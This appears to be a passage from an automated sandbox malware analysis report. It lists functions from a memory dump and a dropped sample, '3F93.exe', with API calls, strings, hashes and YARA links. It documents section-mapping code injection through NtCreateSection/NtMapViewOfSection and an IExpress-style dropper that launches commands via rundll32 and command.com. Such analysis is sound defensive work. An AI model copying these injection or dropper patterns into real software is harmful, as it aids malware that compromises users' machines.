Function 004014B5 Relevance: 10.7, APIs: 7, Instructions: 195
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015DE
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040160B

Memory Dump Source

Source File: 00000012.00000002.276082062.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_AppLaunch.jbxd

Similarity

API ID: CreateDuplicateObjectSection
String ID:
API String ID: 3132048701-0
Opcode ID: ee37aac3f6e4432af36701d9fd18561bf1d612f37fd6f0089580959cc3ec3ada
Instruction ID: 199840dbe584bb18b5a82293c747b9eb62378b3460df89cf074b2b1c89b004de
Opcode Fuzzy Hash: ee37aac3f6e4432af36701d9fd18561bf1d612f37fd6f0089580959cc3ec3ada
Instruction Fuzzy Hash: A5617C71A00204BFEB208F91CC48FEF7BB8EF86710F10412AF912BA2E5D6759901DB25

Uniqueness

Uniqueness Score: -1.00%

Function 00401529 Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015DE
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040160B
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 0040162E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040164C
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040168D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016BE
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E0

Memory Dump Source

Source File: 00000012.00000002.276082062.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_AppLaunch.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 67f5f20922a7d13f21447bf438d2240895963c18d5e7af44458f1e7c2fbd7986
Instruction ID: c705e71790d0506be3610082f77f18d1da7c912fb1c6ded9febf28eac8d2958e
Opcode Fuzzy Hash: 67f5f20922a7d13f21447bf438d2240895963c18d5e7af44458f1e7c2fbd7986
Instruction Fuzzy Hash: 1C510CB5900205BFEB209F91CC49FAF7BB8EF85700F14412AF911BA2E5D6759941DB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401534 Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015DE
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040160B
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 0040162E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040164C
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040168D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016BE
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E0

Memory Dump Source

Source File: 00000012.00000002.276082062.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_AppLaunch.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 3ff8a1de327168b4907db37ae996da76654207a6a9e49b19f8353f51d63b9b6c
Instruction ID: 113a188022d7dddd0631f58382a9844cb1402b5a6531f00970e0bd43b9a90a64
Opcode Fuzzy Hash: 3ff8a1de327168b4907db37ae996da76654207a6a9e49b19f8353f51d63b9b6c
Instruction Fuzzy Hash: 7D513BB5900205BBEB209F91CC48FAF7BB8FF85B00F14412AF912BA1E5D6759941DB24

Uniqueness

Uniqueness Score: -1.00%

Function 0040153D Relevance: 10.7, APIs: 7, Instructions: 171
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015DE
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040160B
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 0040162E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040164C
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040168D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016BE
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E0

Memory Dump Source

Source File: 00000012.00000002.276082062.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_AppLaunch.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: f481718cf31c508339df55ee9379bafa783de68648224969f426c7f1bc2632ef
Instruction ID: 9e10a8d9bdc153f0d481a040d67758d949b653d2b18fc03426a2673dfdfce93a
Opcode Fuzzy Hash: f481718cf31c508339df55ee9379bafa783de68648224969f426c7f1bc2632ef
Instruction Fuzzy Hash: 9E513AB5900245BFEB209F91CC48FEFBBB8FF85B10F14412AF911AA2A5D6759941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401561 Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015DE
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040160B
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 0040162E
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 0040164C
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 0040168D
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016BE
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016E0

Memory Dump Source

Source File: 00000012.00000002.276082062.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_AppLaunch.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 284c24981728eb43a908f6e78bed83665affb0632088360013b60fdb08dcd2f1
Instruction ID: 192e68dc5121cdccefa07858f8f7bf735b97d13d3064c8d8f16f63a82c8189de
Opcode Fuzzy Hash: 284c24981728eb43a908f6e78bed83665affb0632088360013b60fdb08dcd2f1
Instruction Fuzzy Hash: 2B512AB5900205BFEF209F91CC48FEFBBB8EF85B00F14411AF911AA2A5D6759941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401912 Relevance: 1.3, APIs: 1, Instructions: 99
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,000000C7,00000077), ref: 00401962

Part of subcall function 0040151E: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015DE
Part of subcall function 0040151E: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040160B

Memory Dump Source

Source File: 00000012.00000002.276082062.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_AppLaunch.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: f342fe0f718c2af3401fca66cb4f5fb615f04a27f06085bab238dd04f9a95fec
Instruction ID: 5628bef64af06ef99b22fed55ca8b56550464987267dddb898052c1ad66e17e4
Opcode Fuzzy Hash: f342fe0f718c2af3401fca66cb4f5fb615f04a27f06085bab238dd04f9a95fec
Instruction Fuzzy Hash: FA21F2B2608201EBE700BB949C91E693764AB01304F348237E647791F1D63D9A17E75B

Uniqueness

Uniqueness Score: -1.00%

Function 00401907 Relevance: 1.3, APIs: 1, Instructions: 65
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,000000C7,00000077), ref: 00401962

Part of subcall function 0040151E: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015DE
Part of subcall function 0040151E: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040160B

Memory Dump Source

Source File: 00000012.00000002.276082062.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_AppLaunch.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 7d151b417214f06ed0f3f60361a9c36a4bd3aae40708b17d4d549da9caabf738
Instruction ID: f0efe78c6ed54c72afa909b582c9e4e8e562211b1e14a50830003293bb337130
Opcode Fuzzy Hash: 7d151b417214f06ed0f3f60361a9c36a4bd3aae40708b17d4d549da9caabf738
Instruction Fuzzy Hash: EB119EF160C105E7E7006A549DB2E7A36689B01754F204237FA47391F1C53D9913E79B

Uniqueness

Uniqueness Score: -1.00%

Function 00401939 Relevance: 1.3, APIs: 1, Instructions: 59
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,000000C7,00000077), ref: 00401962

Memory Dump Source

Source File: 00000012.00000002.276082062.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_AppLaunch.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 3f680a8eaffc5109b0e6cbdd5a047c0444535e1cbb6ed97ef0ec2dcca79433cb
Instruction ID: 6ac2999b2b944763dd4c084e963a8ef8c06266544b2b654e43f22b74ad209c30
Opcode Fuzzy Hash: 3f680a8eaffc5109b0e6cbdd5a047c0444535e1cbb6ed97ef0ec2dcca79433cb
Instruction Fuzzy Hash: 1B11CEB2608244EBEB01AF909DA1E693B24AF05300F254277FA477A1F2D13C8517EB1B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004032F9 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.276082062.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5076fc9213c41992dfc45dd9a74dbf6cb6b0d6e61f97ae18fd52322375a5dc77
Instruction ID: a03ab3752555751415c992f34ff4e556b4e7c63e78f5fedf411e40eb0ee6ae17
Opcode Fuzzy Hash: 5076fc9213c41992dfc45dd9a74dbf6cb6b0d6e61f97ae18fd52322375a5dc77
Instruction Fuzzy Hash: EA41586250D7D05FD7164B348C96696BF68BE23311B1D02EFD491AA1E3D63C8A06C39B

Uniqueness

Uniqueness Score: -1.00%

Function 004026B6 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.276082062.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e7447f8a8602b5453d74e6c40fe5b1129ca941c0710db4c605de7e4cd50ae51
Instruction ID: 02db8267d34cf2039cc1ef9a7f3e403c72e58e9f84a4c83f42169e357affa1ad
Opcode Fuzzy Hash: 5e7447f8a8602b5453d74e6c40fe5b1129ca941c0710db4c605de7e4cd50ae51
Instruction Fuzzy Hash: F4214939D18781BFD723AE75C4DD2423B71BF0E25871807BBC49097192D7629482C383

Uniqueness

Uniqueness Score: -1.00%

Function 00402397 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.276082062.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef28f0254dc1b3d0065fa8cb7837b37ebebd3d5ce4404f3da6ec0bdc02cbf4fc
Instruction ID: 5a041c63283d67b3d20db15017d503f5565bf031e000c7b0081705a4e951828b
Opcode Fuzzy Hash: ef28f0254dc1b3d0065fa8cb7837b37ebebd3d5ce4404f3da6ec0bdc02cbf4fc
Instruction Fuzzy Hash: 08012B2154CE01A6DB0225308EDE9EEF76DE791704F740623ED829A4C7C2BC185B57D7

Uniqueness

Uniqueness Score: -1.00%

Function 0040233F Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.276082062.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 538e5c79f366f9ca73ff8f3e9cf85a22c506a103fe00fa2cb855e8896752ee32
Instruction ID: ab06418fa702e37c66ae23efe9fa649b49615372587302324d3ebdf758a1529a
Opcode Fuzzy Hash: 538e5c79f366f9ca73ff8f3e9cf85a22c506a103fe00fa2cb855e8896752ee32
Instruction Fuzzy Hash: 5E01892110CD01A6CB0625309EEE9DEF768E691310B340323ED829A8C7C27D185B57C7

Uniqueness

Uniqueness Score: -1.00%

Function 004022D8 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.276082062.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d1e44c7ae8c4c3238fc2f2a23605d271e2c6d60e08faf27799be07161f825ea
Instruction ID: e68d27142e9bd145ba44595f9ac4456ec12fb893559288fef379bb382afff38b
Opcode Fuzzy Hash: 3d1e44c7ae8c4c3238fc2f2a23605d271e2c6d60e08faf27799be07161f825ea
Instruction Fuzzy Hash: 7801496154CD11A6CB0615309AEEAEEF769E691314B340223ED83AA8C7C27D185B57C7

Uniqueness

Uniqueness Score: -1.00%

Function 004023B5 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.276082062.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a676b5285b786a4027361f245f0c9d0b58976a266388707c2ce1159c7ec3ca01
Instruction ID: 2a9aab3188a512e64a326dbf5142d63b1749345dcc0bedbf345405365d14ae30
Opcode Fuzzy Hash: a676b5285b786a4027361f245f0c9d0b58976a266388707c2ce1159c7ec3ca01
Instruction Fuzzy Hash: 1601F92154CE019ADB0226308DDE5DEF799E791704B740623ED82DE8C7C27C185B5BC7

Uniqueness

Uniqueness Score: -1.00%

Function 004023BD Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.276082062.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65f46524212f35cda11c1efbce405e245cc280c60f0d2cb9521c8ed0afbcb217
Instruction ID: 63323523a386c8b6a86eda4da433bacfa3e9aa6dd255d6f4894e11f8dda55945
Opcode Fuzzy Hash: 65f46524212f35cda11c1efbce405e245cc280c60f0d2cb9521c8ed0afbcb217
Instruction Fuzzy Hash: 51019E2114CD015ACB022630CDEB9DEF768E795600B740712EC82CE8C7C238185B4BC3

Uniqueness

Uniqueness Score: -1.00%

Function 004023E1 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.276082062.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebdac5e76a198675d7eccdef5c9a85707c71781b653fb53724df8daa5dbe40e8
Instruction ID: 74a989400cf34e9616f35191d951123844ef2d97df1cafd115e03a4ce76bda18
Opcode Fuzzy Hash: ebdac5e76a198675d7eccdef5c9a85707c71781b653fb53724df8daa5dbe40e8
Instruction Fuzzy Hash: 23F02456198E522ACB16263088EB4CEFBADE5C56247B80740FD81CE80BC224185F8AD3

Uniqueness

Uniqueness Score: -1.00%

Function 004022FD Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.276082062.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34985b88df329ca6fdd3e5418262bf0c405a34a8f4822d8a9cfadee7f9492f35
Instruction ID: 46c7879bc6b6374964eb852b1f8be906bfa29f432484e050b6393a2b1f17867c
Opcode Fuzzy Hash: 34985b88df329ca6fdd3e5418262bf0c405a34a8f4822d8a9cfadee7f9492f35
Instruction Fuzzy Hash: 2CE07D2AD3470549C722DEB8C7D40C9BB74B515374BAC4F65C04337A4CE7283345CA14

Uniqueness

Uniqueness Score: -1.00%

Function 00402188 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.276082062.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bf1a879893bd4f68123757ba464a5dd5989b6e775eef527132f4ca5a6d0721d
Instruction ID: 8c9397d701aa1aaa9a6ec016f9392e2cc14686059782f13e64554f60d60fea19
Opcode Fuzzy Hash: 0bf1a879893bd4f68123757ba464a5dd5989b6e775eef527132f4ca5a6d0721d
Instruction Fuzzy Hash: 65C022B650810089CB219D34C3D58F23EB1EB80620740072A87622B2A8B9302B2190E6

Uniqueness

Uniqueness Score: -1.00%

Function 00402164 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.276082062.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_AppLaunch.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90c154646b8f936bdfc8de90d495cf795a37d33cd45136dfb3bee77f1a2400f8
Instruction ID: 51f04be49cb71757b2c48f824bf9bb4518cc767c05676db5f76c9320bc92033b
Opcode Fuzzy Hash: 90c154646b8f936bdfc8de90d495cf795a37d33cd45136dfb3bee77f1a2400f8
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 3F93.exePID: 4716, Parent PID: 3512COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00F33BA2 Relevance: 40.6, APIs: 11, Strings: 12, Instructions: 308
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00F33C11
CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,00000004), ref: 00F33CDC

Part of subcall function 00F3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F346A0
Part of subcall function 00F3468F: SizeofResource.KERNEL32(00000000,00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346A9
Part of subcall function 00F3468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F346C3
Part of subcall function 00F3468F: LoadResource.KERNEL32(00000000,00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346CC
Part of subcall function 00F3468F: LockResource.KERNEL32(00000000,?,00F32D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346D3
Part of subcall function 00F3468F: memcpy_s.MSVCRT ref: 00F346E5
Part of subcall function 00F3468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00F346EF

CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,?,00F38C42), ref: 00F33D8F
GetProcAddress.KERNEL32(00000000,DoInfInstall), ref: 00F33E26
FreeLibrary.KERNEL32(00000000,?,00F38C42), ref: 00F33EFF
LocalFree.KERNEL32(?,?,?,?,00F38C42), ref: 00F33F1F
FreeLibrary.KERNEL32(00000000,?,00F38C42), ref: 00F33F40
LocalFree.KERNEL32(?,?,?,?,00F38C42), ref: 00F33F47
FreeLibrary.KERNEL32(00000000,DoInfInstall,00000000,00000010,00000000,?,00F38C42), ref: 00F33F76
LocalFree.KERNEL32(?,advpack.dll,00000000,00000010,00000000,?,?,?,00F38C42), ref: 00F33F80
LocalFree.KERNEL32(?,00000000,00000000,00000010,00000000,?,?,?,00F38C42), ref: 00F33FC2

Strings

advpack.dll, xrefs: 00F33F9D
ADMQCMD, xrefs: 00F33C9E
DoInfInstall, xrefs: 00F33E1F, 00F33E24, 00F33F68
POSTRUNPROGRAM, xrefs: 00F33D60
foto7447, xrefs: 00F33E68
REBOOT, xrefs: 00F33BE2
RUNPROGRAM, xrefs: 00F33D05
D, xrefs: 00F33C19
SHOWWINDOW, xrefs: 00F33C34
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00F33E74
<None>, xrefs: 00F33CC9, 00F33D7D
USRQCMD, xrefs: 00F33CAD

Memory Dump Source

Source File: 00000028.00000002.420345379.0000000000F31000.00000020.00000001.01000000.00000015.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000028.00000002.420337979.0000000000F30000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420352842.0000000000F38000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3A000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3C000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_f30000_3F93.jbxd

Similarity

API ID: Free$Resource$Local$Library$CompareFindString$AddressLoadLockProcSizeofmemcpy_smemset
String ID: <None>$ADMQCMD$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$D$DoInfInstall$POSTRUNPROGRAM$REBOOT$RUNPROGRAM$SHOWWINDOW$USRQCMD$advpack.dll$foto7447
API String ID: 1032054927-2847442417
Opcode ID: 07127e23abc38d29e47377d1be1b481afdf47c495102e71f011d27b0ff362593
Instruction ID: 1e9235beddf59dc892ed890a0f012e44dc5f74d0aaa98c0d48332ce491eb1575
Opcode Fuzzy Hash: 07127e23abc38d29e47377d1be1b481afdf47c495102e71f011d27b0ff362593
Instruction Fuzzy Hash: 3AB122709083059BD724DF34CC45B6B76E5EB84770F00092DFA85D62A1EBB8CA45FB92

Uniqueness

Uniqueness Score: -1.00%

Function 00F31AE8 Relevance: 38.8, APIs: 10, Strings: 12, Instructions: 291
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CompareStringA.KERNEL32(0000007F,00000001,00000000,000000FF,.INF,000000FF,?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,?,00000000,00000001,00000000), ref: 00F31BE7
GetFileAttributesA.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,?,00000000,00000001,00000000), ref: 00F31BFE
LocalAlloc.KERNEL32(00000040,00000200,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,?,00000000,00000001,00000000), ref: 00F31C57
GetPrivateProfileIntA.KERNEL32 ref: 00F31C88
GetPrivateProfileStringA.KERNEL32(Version,AdvancedINF,00F31140,00000000,00000008,?), ref: 00F31CB8
GetShortPathNameA.KERNEL32 ref: 00F31D1B

Part of subcall function 00F344B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F34518
Part of subcall function 00F344B9: MessageBoxA.USER32(?,?,foto7447,00010010), ref: 00F34554

Strings

Reboot, xrefs: 00F31C82
setupx.dll, xrefs: 00F31D14
AdvancedINF, xrefs: 00F31CAE
setupapi.dll, xrefs: 00F31D23, 00F31D3A
DefaultInstall, xrefs: 00F31C74, 00F31C87, 00F31CCE, 00F31CD3, 00F31D2D, 00F31D39
.BAT, xrefs: 00F31D83
Command.com /c %s, xrefs: 00F31D9B, 00F31DE8
rundll32.exe %s,InstallHinfSection %s 128 %s, xrefs: 00F31D3B
Version, xrefs: 00F31CB3
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00F31BA0
", xrefs: 00F31B25
.INF, xrefs: 00F31BDB

Memory Dump Source

Source File: 00000028.00000002.420345379.0000000000F31000.00000020.00000001.01000000.00000015.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000028.00000002.420337979.0000000000F30000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420352842.0000000000F38000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3A000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3C000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_f30000_3F93.jbxd

Similarity

API ID: String$PrivateProfile$AllocAttributesCompareFileLoadLocalMessageNamePathShort
String ID: "$.BAT$.INF$AdvancedINF$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$Command.com /c %s$DefaultInstall$Reboot$Version$rundll32.exe %s,InstallHinfSection %s 128 %s$setupapi.dll$setupx.dll
API String ID: 383838535-2280873615
Opcode ID: 4f61784907ab5529a9bbe6f5a6cf286b52259734eb9d40cc78723bcebf600c1a
Instruction ID: 0e3030ff74f57f71bb16d0ff7dac3a0ec21a733492491797522e187f12132c8b
Opcode Fuzzy Hash: 4f61784907ab5529a9bbe6f5a6cf286b52259734eb9d40cc78723bcebf600c1a
Instruction Fuzzy Hash: C2A14BB1E002186BEF20AB24CC45FEA7769FB91330F144295F595A32D1DBB49EC6EB50

Uniqueness

Uniqueness Score: -1.00%

Function 00F32390 Relevance: 12.1, APIs: 8, Instructions: 93
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNELBASE(?,00F38A3A,00F311F4,00F38A3A,00000000,?,?), ref: 00F323F6
lstrcmpA.KERNEL32(?,00F311F8), ref: 00F32427
lstrcmpA.KERNEL32(?,00F311FC), ref: 00F3243B
SetFileAttributesA.KERNEL32(?,00000080,?), ref: 00F32495
DeleteFileA.KERNEL32(?), ref: 00F324A3
FindNextFileA.KERNELBASE(00000000,00000010), ref: 00F324AF
FindClose.KERNELBASE(00000000), ref: 00F324BE
RemoveDirectoryA.KERNELBASE(00F38A3A), ref: 00F324C5

Memory Dump Source

Source File: 00000028.00000002.420345379.0000000000F31000.00000020.00000001.01000000.00000015.sdmp, Offset: 00F30000, based on PE: true

Associated: 00000028.00000002.420337979.0000000000F30000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420352842.0000000000F38000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3A000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000028.00000002.420380157.0000000000F3C000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_f30000_3F93.jbxd

Similarity

API ID: File$Find$lstrcmp$AttributesCloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 836429354-0
Opcode ID: 1db0fc4e622f3b9a0d8ef2df5df2030461dd59d7bf8c0763150201d238e65486
Instruction ID: bcbe3d646cc6b3d69582e6798abe3e907d5e8f5a5dd57cf7606e5d27e561ecc9
